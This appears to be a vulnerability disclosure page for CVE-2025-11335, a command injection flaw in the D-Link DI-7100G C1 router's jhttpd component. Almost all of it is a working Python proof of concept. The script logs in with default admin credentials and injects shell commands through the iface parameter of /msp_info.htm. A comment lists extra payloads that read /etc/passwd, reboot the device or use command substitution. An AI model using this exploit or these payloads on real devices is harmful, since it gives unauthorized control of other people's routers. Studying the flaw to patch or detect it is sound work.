CVE-2025-11335：D-Link DI-7100G C1 jhttpd组件命令注入漏洞

# CVE-2025-11335 PoC - D-Link DI-7100G C1 Command Injection # Vulnerability: Command injection in sub_46409C via iface parameter # Target: /msp_info.htm?flag=qos import requests TARGET_URL = "http://192.168.0.1" # Replace with target router IP USERNAME = "admin" # Default credentials may vary PASSWORD = "admin" # Step 1: Authenticate to obtain session cookie session = requests.Session() login_url = f"{TARGET_URL}/login.htm" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Exploit command injection via iface parameter # The iface parameter is passed directly to a system command without sanitization vulnerable_endpoint = f"{TARGET_URL}/msp_info.htm?flag=qos" # Payload: inject shell command after the legitimate iface value # Using semicolon to terminate the original command and execute our own payload = "eth0;id" # Execute 'id' command params = { "flag": "qos", "iface": payload } response = session.get(vulnerable_endpoint, params=params) print(f"[*] Exploit response status: {response.status_code}") print(f"[*] Response body:\n{response.text}") # Additional payloads for demonstration: # iface=eth0;cat /etc/passwd # iface=eth0;uname -a # iface=eth0;reboot # iface=`id` # iface=eth0$(id)